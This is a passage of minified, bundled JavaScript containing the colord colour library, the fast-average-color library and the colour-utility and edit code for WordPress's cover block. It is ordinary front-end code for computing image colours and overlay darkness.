      var r4, t2, n2, e2, u2;
    }, r3.prototype.toHsv = function() {
      return r4 = h(this.rgba), { h: n(r4.h), s: n(r4.s), v: n(r4.v), a: n(r4.a, 3) };
      var r4;
    }, r3.prototype.invert = function() {
      return w({ r: 255 - (r4 = this.rgba).r, g: 255 - r4.g, b: 255 - r4.b, a: r4.a });
      var r4;
    }, r3.prototype.saturate = function(r4) {
      return void 0 === r4 && (r4 = 0.1), w(M(this.rgba, r4));
    }, r3.prototype.desaturate = function(r4) {
      return void 0 === r4 && (r4 = 0.1), w(M(this.rgba, -r4));
    }, r3.prototype.grayscale = function() {
      return w(M(this.rgba, -1));
    }, r3.prototype.lighten = function(r4) {
      return void 0 === r4 && (r4 = 0.1), w($(this.rgba, r4));
    }, r3.prototype.darken = function(r4) {
      return void 0 === r4 && (r4 = 0.1), w($(this.rgba, -r4));
    }, r3.prototype.rotate = function(r4) {
      return void 0 === r4 && (r4 = 15), this.hue(this.hue() + r4);
    }, r3.prototype.alpha = function(r4) {
      return "number" == typeof r4 ? w({ r: (t2 = this.rgba).r, g: t2.g, b: t2.b, a: r4 }) : n(this.rgba.a, 3);
      var t2;
    }, r3.prototype.hue = function(r4) {
      var t2 = c(this.rgba);
      return "number" == typeof r4 ? w({ h: r4, s: t2.s, l: t2.l, a: t2.a }) : n(t2.h);
    }, r3.prototype.isEqual = function(r4) {
      return this.toHex() === w(r4).toHex();
    }, r3;
  })();
  var w = function(r3) {
    return r3 instanceof j ? r3 : new j(r3);
  };
  var S = [];
  var k = function(r3) {
    r3.forEach(function(r4) {
      S.indexOf(r4) < 0 && (r4(j, y), S.push(r4));
    });
  };

  // node_modules/colord/plugins/names.mjs
  function names_default(e2, f2) {
    var a2 = { white: "#ffffff", bisque: "#ffe4c4", blue: "#0000ff", cadetblue: "#5f9ea0", chartreuse: "#7fff00", chocolate: "#d2691e", coral: "#ff7f50", antiquewhite: "#faebd7", aqua: "#00ffff", azure: "#f0ffff", whitesmoke: "#f5f5f5", papayawhip: "#ffefd5", plum: "#dda0dd", blanchedalmond: "#ffebcd", black: "#000000", gold: "#ffd700", goldenrod: "#daa520", gainsboro: "#dcdcdc", cornsilk: "#fff8dc", cornflowerblue: "#6495ed", burlywood: "#deb887", aquamarine: "#7fffd4", beige: "#f5f5dc", crimson: "#dc143c", cyan: "#00ffff", darkblue: "#00008b", darkcyan: "#008b8b", darkgoldenrod: "#b8860b", darkkhaki: "#bdb76b", darkgray: "#a9a9a9", darkgreen: "#006400", darkgrey: "#a9a9a9", peachpuff: "#ffdab9", darkmagenta: "#8b008b", darkred: "#8b0000", darkorchid: "#9932cc", darkorange: "#ff8c00", darkslateblue: "#483d8b", gray: "#808080", darkslategray: "#2f4f4f", darkslategrey: "#2f4f4f", deeppink: "#ff1493", deepskyblue: "#00bfff", wheat: "#f5deb3", firebrick: "#b22222", floralwhite: "#fffaf0", ghostwhite: "#f8f8ff", darkviolet: "#9400d3", magenta: "#ff00ff", green: "#008000", dodgerblue: "#1e90ff", grey: "#808080", honeydew: "#f0fff0", hotpink: "#ff69b4", blueviolet: "#8a2be2", forestgreen: "#228b22", lawngreen: "#7cfc00", indianred: "#cd5c5c", indigo: "#4b0082", fuchsia: "#ff00ff", brown: "#a52a2a", maroon: "#800000", mediumblue: "#0000cd", lightcoral: "#f08080", darkturquoise: "#00ced1", lightcyan: "#e0ffff", ivory: "#fffff0", lightyellow: "#ffffe0", lightsalmon: "#ffa07a", lightseagreen: "#20b2aa", linen: "#faf0e6", mediumaquamarine: "#66cdaa", lemonchiffon: "#fffacd", lime: "#00ff00", khaki: "#f0e68c", mediumseagreen: "#3cb371", limegreen: "#32cd32", mediumspringgreen: "#00fa9a", lightskyblue: "#87cefa", lightblue: "#add8e6", midnightblue: "#191970", lightpink: "#ffb6c1", mistyrose: "#ffe4e1", moccasin: "#ffe4b5", mintcream: "#f5fffa", lightslategray: "#778899", lightslategrey: "#778899", navajowhite: "#ffdead", navy: "#000080", mediumvioletred: "#c71585", powderblue: "#b0e0e6", palegoldenrod: "#eee8aa", oldlace: "#fdf5e6", paleturquoise: "#afeeee", mediumturquoise: "#48d1cc", mediumorchid: "#ba55d3", rebeccapurple: "#663399", lightsteelblue: "#b0c4de", mediumslateblue: "#7b68ee", thistle: "#d8bfd8", tan: "#d2b48c", orchid: "#da70d6", mediumpurple: "#9370db", purple: "#800080", pink: "#ffc0cb", skyblue: "#87ceeb", springgreen: "#00ff7f", palegreen: "#98fb98", red: "#ff0000", yellow: "#ffff00", slateblue: "#6a5acd", lavenderblush: "#fff0f5", peru: "#cd853f", palevioletred: "#db7093", violet: "#ee82ee", teal: "#008080", slategray: "#708090", slategrey: "#708090", aliceblue: "#f0f8ff", darkseagreen: "#8fbc8f", darkolivegreen: "#556b2f", greenyellow: "#adff2f", seagreen: "#2e8b57", seashell: "#fff5ee", tomato: "#ff6347", silver: "#c0c0c0", sienna: "#a0522d", lavender: "#e6e6fa", lightgreen: "#90ee90", orange: "#ffa500", orangered: "#ff4500", steelblue: "#4682b4", royalblue: "#4169e1", turquoise: "#40e0d0", yellowgreen: "#9acd32", salmon: "#fa8072", saddlebrown: "#8b4513", sandybrown: "#f4a460", rosybrown: "#bc8f8f", darksalmon: "#e9967a", lightgoldenrodyellow: "#fafad2", snow: "#fffafa", lightgrey: "#d3d3d3", lightgray: "#d3d3d3", dimgray: "#696969", dimgrey: "#696969", olivedrab: "#6b8e23", olive: "#808000" }, r3 = {};
    for (var d2 in a2) r3[a2[d2]] = d2;
    var l2 = {};
    e2.prototype.toName = function(f3) {
      if (!(this.rgba.a || this.rgba.r || this.rgba.g || this.rgba.b)) return "transparent";
      var d3, i2, n2 = r3[this.toHex()];
      if (n2) return n2;
      if (null == f3 ? void 0 : f3.closest) {
        var o2 = this.toRgb(), t2 = 1 / 0, b2 = "black";
        if (!l2.length) for (var c2 in a2) l2[c2] = new e2(a2[c2]).toRgb();
        for (var g2 in a2) {
          var u2 = (d3 = o2, i2 = l2[g2], Math.pow(d3.r - i2.r, 2) + Math.pow(d3.g - i2.g, 2) + Math.pow(d3.b - i2.b, 2));
          u2 < t2 && (t2 = u2, b2 = g2);
        }
        return b2;
      }
    };
    f2.string.push([function(f3) {
      var r4 = f3.toLowerCase(), d3 = "transparent" === r4 ? "#0000" : a2[r4];
      return d3 ? new e2(d3).toRgb() : null;
    }, "name"]);
  }

  // node_modules/fast-average-color/dist/index.esm.js
  function toHex(num) {
    var str = num.toString(16);
    return str.length === 1 ? "0" + str : str;
  }
  function arrayToHex(arr) {
    return "#" + arr.map(toHex).join("");
  }
  function isDark(color) {
    var result = (color[0] * 299 + color[1] * 587 + color[2] * 114) / 1e3;
    return result < 128;
  }
  function prepareIgnoredColor(color) {
    if (!color) {
      return [];
    }
    return isRGBArray(color) ? color : [color];
  }
  function isRGBArray(value) {
    return Array.isArray(value[0]);
  }
  function isIgnoredColor(data, index, ignoredColor) {
    for (var i2 = 0; i2 < ignoredColor.length; i2++) {
      if (isIgnoredColorAsNumbers(data, index, ignoredColor[i2])) {
        return true;
      }
    }
    return false;
  }
  function isIgnoredColorAsNumbers(data, index, ignoredColor) {
    switch (ignoredColor.length) {
      case 3:
        if (isIgnoredRGBColor(data, index, ignoredColor)) {
          return true;
        }
        break;
      case 4:
        if (isIgnoredRGBAColor(data, index, ignoredColor)) {
          return true;
        }
        break;
      case 5:
        if (isIgnoredRGBAColorWithThreshold(data, index, ignoredColor)) {
          return true;
        }
        break;
      default:
        return false;
    }
  }
  function isIgnoredRGBColor(data, index, ignoredColor) {
    if (data[index + 3] !== 255) {
      return true;
    }
    if (data[index] === ignoredColor[0] && data[index + 1] === ignoredColor[1] && data[index + 2] === ignoredColor[2]) {
      return true;
    }
    return false;
  }
  function isIgnoredRGBAColor(data, index, ignoredColor) {
    if (data[index + 3] && ignoredColor[3]) {
      return data[index] === ignoredColor[0] && data[index + 1] === ignoredColor[1] && data[index + 2] === ignoredColor[2] && data[index + 3] === ignoredColor[3];
    }
    return data[index + 3] === ignoredColor[3];
  }
  function inRange(colorComponent, ignoredColorComponent, value) {
    return colorComponent >= ignoredColorComponent - value && colorComponent <= ignoredColorComponent + value;
  }
  function isIgnoredRGBAColorWithThreshold(data, index, ignoredColor) {
    var redIgnored = ignoredColor[0];
    var greenIgnored = ignoredColor[1];
    var blueIgnored = ignoredColor[2];
    var alphaIgnored = ignoredColor[3];
    var threshold = ignoredColor[4];
    var alphaData = data[index + 3];
    var alphaInRange = inRange(alphaData, alphaIgnored, threshold);
    if (!alphaIgnored) {
      return alphaInRange;
    }
    if (!alphaData && alphaInRange) {
      return true;
    }
    if (inRange(data[index], redIgnored, threshold) && inRange(data[index + 1], greenIgnored, threshold) && inRange(data[index + 2], blueIgnored, threshold) && alphaInRange) {
      return true;
    }
    return false;
  }
  function dominantAlgorithm(arr, len, options2) {
    var colorHash = {};
    var divider = 24;
    var ignoredColor = options2.ignoredColor;
    var step = options2.step;
    var max = [0, 0, 0, 0, 0];
    for (var i2 = 0; i2 < len; i2 += step) {
      var red = arr[i2];
      var green = arr[i2 + 1];
      var blue = arr[i2 + 2];
      var alpha = arr[i2 + 3];
      if (ignoredColor && isIgnoredColor(arr, i2, ignoredColor)) {
        continue;
      }
      var key = Math.round(red / divider) + "," + Math.round(green / divider) + "," + Math.round(blue / divider);
      if (colorHash[key]) {
        colorHash[key] = [
          colorHash[key][0] + red * alpha,
          colorHash[key][1] + green * alpha,
          colorHash[key][2] + blue * alpha,
          colorHash[key][3] + alpha,
          colorHash[key][4] + 1
        ];
      } else {
        colorHash[key] = [red * alpha, green * alpha, blue * alpha, alpha, 1];
      }
      if (max[4] < colorHash[key][4]) {
        max = colorHash[key];
      }
    }
    var redTotal = max[0];
    var greenTotal = max[1];
    var blueTotal = max[2];
    var alphaTotal = max[3];
    var count = max[4];
    return alphaTotal ? [
      Math.round(redTotal / alphaTotal),
      Math.round(greenTotal / alphaTotal),
      Math.round(blueTotal / alphaTotal),
      Math.round(alphaTotal / count)
    ] : options2.defaultColor;
  }
  function simpleAlgorithm(arr, len, options2) {
    var redTotal = 0;
    var greenTotal = 0;
    var blueTotal = 0;
    var alphaTotal = 0;
    var count = 0;
    var ignoredColor = options2.ignoredColor;
    var step = options2.step;
    for (var i2 = 0; i2 < len; i2 += step) {
      var alpha = arr[i2 + 3];
      var red = arr[i2] * alpha;
      var green = arr[i2 + 1] * alpha;
      var blue = arr[i2 + 2] * alpha;
      if (ignoredColor && isIgnoredColor(arr, i2, ignoredColor)) {
        continue;
      }
      redTotal += red;
      greenTotal += green;
      blueTotal += blue;
      alphaTotal += alpha;
      count++;
    }
    return alphaTotal ? [
      Math.round(redTotal / alphaTotal),
      Math.round(greenTotal / alphaTotal),
      Math.round(blueTotal / alphaTotal),
      Math.round(alphaTotal / count)
    ] : options2.defaultColor;
  }
  function sqrtAlgorithm(arr, len, options2) {
    var redTotal = 0;
    var greenTotal = 0;
    var blueTotal = 0;
    var alphaTotal = 0;
    var count = 0;
    var ignoredColor = options2.ignoredColor;
    var step = options2.step;
    for (var i2 = 0; i2 < len; i2 += step) {
      var red = arr[i2];
      var green = arr[i2 + 1];
      var blue = arr[i2 + 2];
      var alpha = arr[i2 + 3];
      if (ignoredColor && isIgnoredColor(arr, i2, ignoredColor)) {
        continue;
      }
      redTotal += red * red * alpha;
      greenTotal += green * green * alpha;
      blueTotal += blue * blue * alpha;
      alphaTotal += alpha;
      count++;
    }
    return alphaTotal ? [
      Math.round(Math.sqrt(redTotal / alphaTotal)),
      Math.round(Math.sqrt(greenTotal / alphaTotal)),
      Math.round(Math.sqrt(blueTotal / alphaTotal)),
      Math.round(alphaTotal / count)
    ] : options2.defaultColor;
  }
  function getDefaultColor(options2) {
    return getOption(options2, "defaultColor", [0, 0, 0, 0]);
  }
  function getOption(options2, name123, defaultValue) {
    return options2[name123] === void 0 ? defaultValue : options2[name123];
  }
  var MIN_SIZE = 10;
  var MAX_SIZE = 100;
  function isSvg(filename) {
    return filename.search(/\.svg(\?|$)/i) !== -1;
  }
  function getOriginalSize(resource) {
    if (isInstanceOfHTMLImageElement(resource)) {
      var width = resource.naturalWidth;
      var height = resource.naturalHeight;
      if (!resource.naturalWidth && isSvg(resource.src)) {
        width = height = MAX_SIZE;
      }
      return {
        width,
        height
      };
    }
    if (isInstanceOfHTMLVideoElement(resource)) {
      return {
        width: resource.videoWidth,
        height: resource.videoHeight
      };
    }
    return {
      width: resource.width,
      height: resource.height
    };
  }
  function getSrc(resource) {
    if (isInstanceOfHTMLCanvasElement(resource)) {
      return "canvas";
    }
    if (isInstanceOfOffscreenCanvas(resource)) {
      return "offscreencanvas";
    }
    if (isInstanceOfImageBitmap(resource)) {
      return "imagebitmap";
    }
    return resource.src;
  }
  function isInstanceOfHTMLImageElement(resource) {
    return typeof HTMLImageElement !== "undefined" && resource instanceof HTMLImageElement;
  }
  function isInstanceOfOffscreenCanvas(resource) {
    return typeof OffscreenCanvas !== "undefined" && resource instanceof OffscreenCanvas;
  }
  function isInstanceOfHTMLVideoElement(resource) {
    return typeof HTMLVideoElement !== "undefined" && resource instanceof HTMLVideoElement;
  }
  function isInstanceOfHTMLCanvasElement(resource) {
    return typeof HTMLCanvasElement !== "undefined" && resource instanceof HTMLCanvasElement;
  }
  function isInstanceOfImageBitmap(resource) {
    return typeof ImageBitmap !== "undefined" && resource instanceof ImageBitmap;
  }
  function prepareSizeAndPosition(originalSize, options2) {
    var srcLeft = getOption(options2, "left", 0);
    var srcTop = getOption(options2, "top", 0);
    var srcWidth = getOption(options2, "width", originalSize.width);
    var srcHeight = getOption(options2, "height", originalSize.height);
    var destWidth = srcWidth;
    var destHeight = srcHeight;
    if (options2.mode === "precision") {
      return {
        srcLeft,
        srcTop,
        srcWidth,
        srcHeight,
        destWidth,
        destHeight
      };
    }
    var factor;
    if (srcWidth > srcHeight) {
      factor = srcWidth / srcHeight;
      destWidth = MAX_SIZE;
      destHeight = Math.round(destWidth / factor);
    } else {
      factor = srcHeight / srcWidth;
      destHeight = MAX_SIZE;
      destWidth = Math.round(destHeight / factor);
    }
    if (destWidth > srcWidth || destHeight > srcHeight || destWidth < MIN_SIZE || destHeight < MIN_SIZE) {
      destWidth = srcWidth;
      destHeight = srcHeight;
    }
    return {
      srcLeft,
      srcTop,
      srcWidth,
      srcHeight,
      destWidth,
      destHeight
    };
  }
  var isWebWorkers = typeof window === "undefined";
  function makeCanvas() {
    return isWebWorkers ? new OffscreenCanvas(1, 1) : document.createElement("canvas");
  }
  var ERROR_PREFIX = "FastAverageColor: ";
  function outputError(message, silent, error) {
    if (!silent) {
      console.error(ERROR_PREFIX + message);
      if (error) {
        console.error(error);
      }
    }
  }
  function getError(text) {
    return Error(ERROR_PREFIX + text);
  }
  var FastAverageColor = (
    /** @class */
    (function() {
      function FastAverageColor2() {
        this.canvas = null;
        this.ctx = null;
      }
      FastAverageColor2.prototype.getColorAsync = function(resource, options2) {
        if (!resource) {
          return Promise.reject(getError("call .getColorAsync() without resource."));
        }
        if (typeof resource === "string") {
          if (typeof Image === "undefined") {
            return Promise.reject(getError("resource as string is not supported in this environment"));
          }
          var img = new Image();
          img.crossOrigin = options2 && options2.crossOrigin || "";
          img.src = resource;
          return this.bindImageEvents(img, options2);
        } else if (isInstanceOfHTMLImageElement(resource) && !resource.complete) {
          return this.bindImageEvents(resource, options2);
        } else {
          var result = this.getColor(resource, options2);
          return result.error ? Promise.reject(result.error) : Promise.resolve(result);
        }
      };
      FastAverageColor2.prototype.getColor = function(resource, options2) {
        options2 = options2 || {};
        var defaultColor = getDefaultColor(options2);
        if (!resource) {
          outputError("call .getColor(null) without resource", options2.silent);
          return this.prepareResult(defaultColor);
        }
        var originalSize = getOriginalSize(resource);
        var size = prepareSizeAndPosition(originalSize, options2);
        if (!size.srcWidth || !size.srcHeight || !size.destWidth || !size.destHeight) {
          outputError('incorrect sizes for resource "'.concat(getSrc(resource), '"'), options2.silent);
          return this.prepareResult(defaultColor);
        }
        if (!this.canvas) {
          this.canvas = makeCanvas();
        }
        if (!this.ctx) {
          this.ctx = this.canvas.getContext && this.canvas.getContext("2d");
          if (!this.ctx) {
            outputError("Canvas Context 2D is not supported in this browser", options2.silent);
            return this.prepareResult(defaultColor);
          }
        }
        this.canvas.width = size.destWidth;
        this.canvas.height = size.destHeight;
        var value = defaultColor;
        try {
          this.ctx.clearRect(0, 0, size.destWidth, size.destHeight);
          this.ctx.drawImage(resource, size.srcLeft, size.srcTop, size.srcWidth, size.srcHeight, 0, 0, size.destWidth, size.destHeight);
          var bitmapData = this.ctx.getImageData(0, 0, size.destWidth, size.destHeight).data;
          value = this.getColorFromArray4(bitmapData, options2);
        } catch (e2) {
          outputError("security error (CORS) for resource ".concat(getSrc(resource), ".\nDetails: https://developer.mozilla.org/en/docs/Web/HTML/CORS_enabled_image"), options2.silent, e2);
        }
        return this.prepareResult(value);
      };
      FastAverageColor2.prototype.getColorFromArray4 = function(arr, options2) {
        options2 = options2 || {};
        var bytesPerPixel = 4;
        var arrLength = arr.length;
        var defaultColor = getDefaultColor(options2);
        if (arrLength < bytesPerPixel) {
          return defaultColor;
        }
        var len = arrLength - arrLength % bytesPerPixel;
        var step = (options2.step || 1) * bytesPerPixel;
        var algorithm;
        switch (options2.algorithm || "sqrt") {
          case "simple":
            algorithm = simpleAlgorithm;
            break;
          case "sqrt":
            algorithm = sqrtAlgorithm;
            break;
          case "dominant":
            algorithm = dominantAlgorithm;
            break;
          default:
            throw getError("".concat(options2.algorithm, " is unknown algorithm"));
        }
        return algorithm(arr, len, {
          defaultColor,
          ignoredColor: prepareIgnoredColor(options2.ignoredColor),
          step
        });
      };
      FastAverageColor2.prototype.prepareResult = function(value) {
        var rgb = value.slice(0, 3);
        var rgba = [value[0], value[1], value[2], value[3] / 255];
        var isDarkColor = isDark(value);
        return {
          value: [value[0], value[1], value[2], value[3]],
          rgb: "rgb(" + rgb.join(",") + ")",
          rgba: "rgba(" + rgba.join(",") + ")",
          hex: arrayToHex(rgb),
          hexa: arrayToHex(value),
          isDark: isDarkColor,
          isLight: !isDarkColor
        };
      };
      FastAverageColor2.prototype.destroy = function() {
        if (this.canvas) {
          this.canvas.width = 1;
          this.canvas.height = 1;
          this.canvas = null;
        }
        this.ctx = null;
      };
      FastAverageColor2.prototype.bindImageEvents = function(resource, options2) {
        var _this = this;
        return new Promise(function(resolve, reject) {
          var onload = function() {
            unbindEvents();
            var result = _this.getColor(resource, options2);
            if (result.error) {
              reject(result.error);
            } else {
              resolve(result);
            }
          };
          var onerror = function() {
            unbindEvents();
            reject(getError('Error loading image "'.concat(resource.src, '".')));
          };
          var onabort = function() {
            unbindEvents();
            reject(getError('Image "'.concat(resource.src, '" loading aborted')));
          };
          var unbindEvents = function() {
            resource.removeEventListener("load", onload);
            resource.removeEventListener("error", onerror);
            resource.removeEventListener("abort", onabort);
          };
          resource.addEventListener("load", onload);
          resource.addEventListener("error", onerror);
          resource.addEventListener("abort", onabort);
        });
      };
      return FastAverageColor2;
    })()
  );

  // packages/block-library/build-module/cover/edit/color-utils.mjs
  var import_hooks20 = __toESM(require_hooks(), 1);
  k([names_default]);
  var DEFAULT_BACKGROUND_COLOR = "#FFF";
  var DEFAULT_OVERLAY_COLOR = "#000";
  function compositeSourceOver(source, dest) {
    return {
      r: source.r * source.a + dest.r * dest.a * (1 - source.a),
      g: source.g * source.a + dest.g * dest.a * (1 - source.a),
      b: source.b * source.a + dest.b * dest.a * (1 - source.a),
      a: source.a + dest.a * (1 - source.a)
    };
  }
  function retrieveFastAverageColor() {
    if (!retrieveFastAverageColor.fastAverageColor) {
      retrieveFastAverageColor.fastAverageColor = new FastAverageColor();
    }
    return retrieveFastAverageColor.fastAverageColor;
  }
  var getMediaColor = memize(async (url) => {
    if (!url) {
      return DEFAULT_BACKGROUND_COLOR;
    }
    const { r: r3, g: g2, b: b2, a: a2 } = w(DEFAULT_BACKGROUND_COLOR).toRgb();
    try {
      const imgCrossOrigin = (0, import_hooks20.applyFilters)(
        "media.crossOrigin",
        void 0,
        url
      );
      const color = await retrieveFastAverageColor().getColorAsync(url, {
        // The default color is white, which is the color
        // that is returned if there's an error.
        // colord returns alpga 0-1, FAC needs 0-255
        defaultColor: [r3, g2, b2, a2 * 255],
        // Errors that come up don't reject the promise,
        // so error logging has to be silenced
        // with this option.
        silent: false,
        crossOrigin: imgCrossOrigin
      });
      return color.hex;
    } catch (error) {
      return DEFAULT_BACKGROUND_COLOR;
    }
  });
  function compositeIsDark(dimRatio, overlayColor, backgroundColor) {
    if (overlayColor === backgroundColor || dimRatio === 100) {
      return w(overlayColor).isDark();
    }
    const overlay = w(overlayColor).alpha(dimRatio / 100).toRgb();
    const background = w(backgroundColor).toRgb();
    const composite = compositeSourceOver(overlay, background);
    return w(composite).isDark();
  }

  // packages/block-library/build-module/cover/edit/index.mjs
  var import_jsx_runtime225 = __toESM(require_jsx_runtime(), 1);
  function getInnerBlocksTemplate(attributes2) {
    return [
      [
        "core/paragraph",
        {
          style: {
            typography: {
              textAlign: "center"
            }
          },
          placeholder: (0, import_i18n52.__)("Write title\u2026"),
          ...attributes2
        }
      ]
    ];
  }
  var isTemporaryMedia = (id, url) => !id && (0, import_blob6.isBlobURL)(url);
  function CoverEdit({
    attributes: attributes2,
    clientId,
    isSelected,
    overlayColor,
    setAttributes,
    setOverlayColor,
    toggleSelection,
    context: { postId, postType }
  }) {
    const {
      contentPosition,
      id,
      url: originalUrl,
      backgroundType: originalBackgroundType,
      useFeaturedImage,
      dimRatio,
      focalPoint,
      hasParallax,
      isDark: isDark2,
      isRepeated,
      minHeight,
      minHeightUnit,
      alt,
      allowedBlocks,
      templateLock,
      tagName: TagName2 = "div",
      isUserOverlayColor,
      sizeSlug,
      poster
    } = attributes2;
    const [featuredImage] = (0, import_core_data16.useEntityProp)(
      "postType",
      postType,
      "featured_media",
      postId
    );
    const { getSettings: getSettings2 } = (0, import_data30.useSelect)(import_block_editor67.store);
    const { __unstableMarkNextChangeAsNotPersistent } = (0, import_data30.useDispatch)(import_block_editor67.store);
    const propsRef = (0, import_element24.useRef)({ attributes: attributes2, overlayColor });
    (0, import_element24.useLayoutEffect)(() => {
      propsRef.current = { attributes: attributes2, overlayColor };
    });
    const { media } = (0, import_data30.useSelect)(
      (select9) => {
        return {
          media: featuredImage && useFeaturedImage ? select9(import_core_data16.store).getEntityRecord(
            "postType",
            "attachment",
            featuredImage,
            {
              context: "view"
            }
          ) : void 0
        };
      },
      [featuredImage, useFeaturedImage]
    );
    const mediaUrl = media?.media_details?.sizes?.[sizeSlug]?.source_url ?? media?.source_url;
    (0, import_element24.useEffect)(() => {
      (async () => {
        if (!useFeaturedImage) {
          return;
        }
        const averageBackgroundColor = await getMediaColor(mediaUrl);
        const { attributes: currentAttrs, overlayColor: currentOverlay } = propsRef.current;
        let newOverlayColor = currentOverlay.color;
        if (!currentAttrs.isUserOverlayColor) {
          newOverlayColor = averageBackgroundColor;
          __unstableMarkNextChangeAsNotPersistent();
          setOverlayColor(newOverlayColor);
        }
        const newIsDark = compositeIsDark(
          currentAttrs.dimRatio,
          newOverlayColor,
          averageBackgroundColor
        );
        __unstableMarkNextChangeAsNotPersistent();
        setAttributes({
          isDark: newIsDark,
          isUserOverlayColor: currentAttrs.isUserOverlayColor || false
        });
      })();
    }, [
      mediaUrl,
      __unstableMarkNextChangeAsNotPersistent,
      setAttributes,
      setOverlayColor,
      useFeaturedImage
    ]);
    const url = useFeaturedImage ? mediaUrl : (
      // Ensure the url is not malformed due to sanitization through `wp_kses`.
      originalUrl?.replaceAll("&amp;", "&")
    );
    const backgroundType = useFeaturedImage ? IMAGE_BACKGROUND_TYPE : originalBackgroundType;
    const { createErrorNotice } = (0, import_data30.useDispatch)(import_notices4.store);
    const { gradientClass, gradientValue } = (0, import_block_editor67.__experimentalUseGradient)();
    const onSelectMedia = async (newMedia) => {
      const mediaAttributes = attributesFromMedia(newMedia);
      const isImage = [newMedia?.type, newMedia?.media_type].includes(
        IMAGE_BACKGROUND_TYPE
      );
      const averageBackgroundColor = await getMediaColor(
        isImage ? newMedia?.url : void 0
      );
      const { attributes: currentAttrs, overlayColor: currentOverlay } = propsRef.current;
      let newOverlayColor = currentOverlay.color;
      if (!currentAttrs.isUserOverlayColor) {
        newOverlayColor = averageBackgroundColor;
        setOverlayColor(newOverlayColor);
        __unstableMarkNextChangeAsNotPersistent();
      }
      const newDimRatio = currentAttrs.url === void 0 && currentAttrs.dimRatio === 100 ? 50 : currentAttrs.dimRatio;
      const newIsDark = compositeIsDark(
        newDimRatio,
        newOverlayColor,
        averageBackgroundColor
      );
      if (backgroundType === IMAGE_BACKGROUND_TYPE && mediaAttributes?.id) {
        const { imageDefaultSize } = getSettings2();
        if (sizeSlug && (newMedia?.sizes?.[sizeSlug] || newMedia?.media_details?.sizes?.[sizeSlug])) {
          mediaAttributes.sizeSlug = sizeSlug;
          mediaAttributes.url = newMedia?.sizes?.[sizeSlug]?.url || newMedia?.media_details?.sizes?.[sizeSlug]?.source_url;
        } else if (newMedia?.sizes?.[imageDefaultSize] || newMedia?.media_details?.sizes?.[imageDefaultSize]) {
          mediaAttributes.sizeSlug = imageDefaultSize;
          mediaAttributes.url = newMedia?.sizes?.[imageDefaultSize]?.url || newMedia?.media_details?.sizes?.[imageDefaultSize]?.source_url;
        } else {
          mediaAttributes.sizeSlug = DEFAULT_MEDIA_SIZE_SLUG;
        }
      }
      setAttributes({
        ...mediaAttributes,
        focalPoint: void 0,
        useFeaturedImage: void 0,
        dimRatio: newDimRatio,
        isDark: newIsDark,
        isUserOverlayColor: currentAttrs.isUserOverlayColor || false
      });
    };
    const onClearMedia = () => {
      let newOverlayColor = overlayColor.color;
      if (!isUserOverlayColor) {
        newOverlayColor = DEFAULT_OVERLAY_COLOR;
        setOverlayColor(void 0);
        __unstableMarkNextChangeAsNotPersistent();
      }
      const newIsDark = compositeIsDark(
        dimRatio,
        newOverlayColor,
        DEFAULT_BACKGROUND_COLOR
      );
      setAttributes({
        url: void 0,
        id: void 0,
        backgroundType: void 0,
        focalPoint: void 0,
        hasParallax: void 0,
        isRepeated: void 0,
        useFeaturedImage: void 0,
        isDark: newIsDark
      });
    };
    const onSetOverlayColor = async (newOverlayColor) => {
      const averageBackgroundColor = await getMediaColor(url);
      const { attributes: currentAttrs } = propsRef.current;
      const newIsDark = compositeIsDark(
        currentAttrs.dimRatio,
        newOverlayColor,
        averageBackgroundColor
      );
      setOverlayColor(newOverlayColor);
      __unstableMarkNextChangeAsNotPersistent();
      setAttributes({
        isUserOverlayColor: true,
        isDark: newIsDark
      });
    };
    const onUpdateDimRatio = async (newDimRatio) => {
      const averageBackgroundColor = await getMediaColor(url);
      const { overlayColor: currentOverlay } = propsRef.current;
      const newIsDark = compositeIsDark(
        newDimRatio,
        currentOverlay.color,
        averageBackgroundColor
      );
      setAttributes({
        dimRatio: newDimRatio,
        isDark: newIsDark
      });
    };
    const onUploadError = (message) => {
      createErrorNotice(message, { type: "snackbar" });
    };
    const onSelectEmbedUrl = (embedUrl) => {
      const newDimRatio = originalUrl === void 0 && dimRatio === 100 ? 50 : dimRatio;
      setAttributes({
        url: embedUrl,
        backgroundType: EMBED_VIDEO_BACKGROUND_TYPE,
        dimRatio: newDimRatio,
        id: void 0,
        focalPoint: void 0,
        hasParallax: void 0,
        isRepeated: void 0,
        useFeaturedImage: void 0
      });
    };
    const { embedPreview, isFetchingEmbed } = (0, import_data30.useSelect)(
      (select9) => {
        if (backgroundType !== EMBED_VIDEO_BACKGROUND_TYPE || !url) {
          return {
            embedPreview: void 0,
            isFetchingEmbed: false
          };
        }
        const { getEmbedPreview, isRequestingEmbedPreview } = select9(import_core_data16.store);
        return {
          embedPreview: getEmbedPreview(url),
          isFetchingEmbed: isRequestingEmbedPreview(url)
        };
      },
      [url, backgroundType]
    );
    const embedHtml = (0, import_element24.useMemo)(() => {
      if (backgroundType !== EMBED_VIDEO_BACKGROUND_TYPE || !embedPreview?.html) {
        return null;
      }
      return getBackgroundEmbedHtml(embedPreview.html);
    }, [embedPreview, backgroundType]);
    const isUploadingMedia = isTemporaryMedia(id, url);
    const isImageBackground = IMAGE_BACKGROUND_TYPE === backgroundType;
    const isVideoBackground = VIDEO_BACKGROUND_TYPE === backgroundType;
    const isEmbedVideoBackground = EMBED_VIDEO_BACKGROUND_TYPE === backgroundType;
    const blockEditingMode = (0, import_block_editor67.useBlockEditingMode)();
    const hasNonContentControls = blockEditingMode === "default";
    const [resizeListener, { height, width }] = (0, import_compose17.useResizeObserver)();
    const resizableBoxDimensions = (0, import_element24.useMemo)(() => {
      return {
        height: minHeightUnit === "px" && minHeight ? minHeight : "auto",
        width: "auto"
      };
    }, [minHeight, minHeightUnit]);
    const minHeightWithUnit = minHeight && minHeightUnit ? `${minHeight}${minHeightUnit}` : minHeight;
    const isImgElement = !(hasParallax || isRepeated);
    const style2 = {
      minHeight: minHeightWithUnit || void 0
    };
    const backgroundImage = url ? `url(${url})` : void 0;
    const backgroundPosition = mediaPosition(focalPoint);
    const bgStyle = { backgroundColor: overlayColor.color };
    const mediaStyle = {
      objectPosition: focalPoint && isImgElement ? mediaPosition(focalPoint) : void 0
    };
    const hasBackground = !!(url || overlayColor.color || gradientValue);
    const hasInnerBlocks = (0, import_data30.useSelect)(
      (select9) => select9(import_block_editor67.store).getBlock(clientId).innerBlocks.length > 0,
      [clientId]
    );
    const ref = (0, import_element24.useRef)();
    const blockProps = (0, import_block_editor67.useBlockProps)({ ref });
    const [fontSizes] = (0, import_block_editor67.useSettings)("typography.fontSizes");
    const hasFontSizes = fontSizes?.length > 0;
